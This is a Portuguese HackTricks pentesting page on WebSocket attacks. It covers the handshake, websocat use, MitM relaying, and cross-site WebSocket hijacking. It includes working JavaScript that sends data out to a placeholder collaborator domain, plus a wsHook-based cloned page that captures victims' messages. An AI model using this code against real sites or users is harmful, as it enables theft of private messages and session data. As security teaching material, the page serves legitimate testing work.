14 KiB
Ataques WebSocket
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
O que são WebSockets
As conexões WebSocket são iniciadas por meio do HTTP e geralmente são de longa duração. As mensagens podem ser enviadas em ambas as direções a qualquer momento e não são transacionais por natureza. A conexão normalmente permanecerá aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.
Os WebSockets são particularmente úteis em situações em que são necessárias mensagens de baixa latência ou iniciadas pelo servidor, como feeds em tempo real de dados financeiros.
Como as conexões WebSocket são estabelecidas?
(Aqui você encontrará um resumo, mas um guia mais detalhado sobre como uma conexão de web socket é criada pode ser encontrado aqui).
As conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente, como o seguinte:
var ws = new WebSocket("wss://normal-website.com/ws");
O protocolo wss
estabelece uma conexão WebSocket sobre uma conexão TLS criptografada, enquanto o protocolo ws
utiliza uma conexão não criptografada.
Para estabelecer a conexão, o navegador e o servidor realizam um handshake WebSocket sobre HTTP. O navegador emite uma solicitação de handshake WebSocket como a seguinte:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Se o servidor aceitar a conexão, ele retorna uma resposta de handshake do WebSocket como a seguinte:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Neste ponto, a conexão de rede permanece aberta e pode ser usada para enviar mensagens WebSocket em ambas as direções.
Observação
Várias características das mensagens de handshake WebSocket são dignas de nota:
- Os cabeçalhos
Connection
eUpgrade
na solicitação e resposta indicam que este é um handshake WebSocket. - O cabeçalho de solicitação
Sec-WebSocket-Version
especifica a versão do protocolo WebSocket que o cliente deseja usar. Isso é tipicamente13
. - O cabeçalho de solicitação
Sec-WebSocket-Key
contém um valor aleatório codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake. - O cabeçalho de resposta
Sec-WebSocket-Accept
contém um hash do valor enviado no cabeçalho de solicitaçãoSec-WebSocket-Key
, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para evitar respostas enganosas resultantes de servidores mal configurados ou proxies de cache.
O cabeçalho Sec-WebSocket-Key
contém um valor aleatório para evitar erros de proxies de cache e não é usado para autenticação ou manipulação de sessão (Não é um token CSRF).
Console Linux
Você pode usar o websocat
para estabelecer uma conexão bruta com um websocket.
websocat --insecure wss://10.10.10.10:8000 -v
Ou para criar um servidor websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexões websocket MitM
Se você descobrir que os clientes estão conectados a um websocket HTTP da sua rede local atual, você pode tentar um Ataque de ARP Spoofing para realizar um ataque MitM entre o cliente e o servidor.
Uma vez que o cliente esteja tentando se conectar a você, você pode então usar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeração de Websockets
Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, identificar e procurar por vulnerabilidades conhecidas em websockets automaticamente.
Ferramentas de depuração de Websocket
- O Burp Suite suporta a comunicação MitM de websockets de forma muito semelhante à comunicação HTTP regular.
- A extensão socketsleuth do Burp Suite permitirá que você gerencie melhor as comunicações do Websocket no Burp, obtendo o histórico, definindo regras de interceptação, usando regras de correspondência e substituição, usando Intruder e AutoRepeater.
- WSSiP: Abreviação de "WebSocket/Socket.io Proxy", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para capturar, interceptar, enviar mensagens personalizadas e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
- wsrepl é um REPL interativo de websocket projetado especificamente para testes de penetração. Ele fornece uma interface para observar mensagens de websocket recebidas e enviar novas, com um framework fácil de usar para automatizar essa comunicação.
- https://websocketking.com/ é um site para se comunicar com outros sites usando websockets.
- https://hoppscotch.io/realtime/websocket entre outros tipos de comunicações/protocolos, fornece um site para se comunicar com outros sites usando websockets.
Laboratório de Websocket
No Burp-Suite-Extender-Montoya-Course você tem um código para lançar um site usando websockets e neste post você pode encontrar uma explicação.
Sequestro de WebSocket entre sites (CSWSH)
Também conhecido como sequestro de WebSocket entre origens cruzadas.
É um Cross-Site Request Forgery (CSRF) em um handshake de WebSocket.
Isso ocorre quando a solicitação de handshake de WebSocket depende exclusivamente de cookies HTTP para o gerenciamento de sessão e não contém nenhum token CSRF ou outros valores imprevisíveis.
Um atacante pode criar uma página da web maliciosa em seu próprio domínio que estabelece uma conexão WebSocket entre sites com a aplicação vulnerável. A aplicação tratará a conexão no contexto da sessão do usuário vítima com a aplicação.
Ataque Simples
Observe que ao estabelecer uma conexão websocket, o cookie é enviado para o servidor. O servidor pode estar usando-o para relacionar cada usuário específico com sua sessão websocket com base no cookie enviado.
Então, se, por exemplo, o servidor websocket enviar de volta o histórico da conversa de um usuário se uma mensagem com "READY" for enviada, então um XSS simples estabelecendo a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviando "READY" será capaz de recuperar o histórico da conversa.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie com um subdomínio diferente
Neste post do blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, o atacante conseguiu executar código Javascript arbitrário em um subdomínio do domínio onde a comunicação do websocket estava ocorrendo. Por ser um subdomínio, o cookie estava sendo enviado, e como o Websocket não verificava corretamente a Origem, era possível se comunicar com ele e roubar tokens dele.
Roubo de dados do usuário
Copie a aplicação web que você deseja se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Agora faça o download do arquivo wsHook.js
em https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos da web.
Expondo a aplicação web e fazendo com que um usuário se conecte a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:
sudo python3 -m http.server 80
Condições de corrida
As Condições de Corrida em WebSockets também são uma coisa, verifique esta informação para saber mais.
Outras vulnerabilidades
Como os WebSockets são um mecanismo para enviar dados para o lado do servidor e do cliente, dependendo de como o servidor e o cliente lidam com as informações, os WebSockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.
WebSocket Smuggling
Essa vulnerabilidade poderia permitir que você bypassasse as restrições de proxies reversos fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso poderia permitir que um atacante acessasse endpoints ocultos. Para mais informações, verifique a seguinte página:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Referências
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.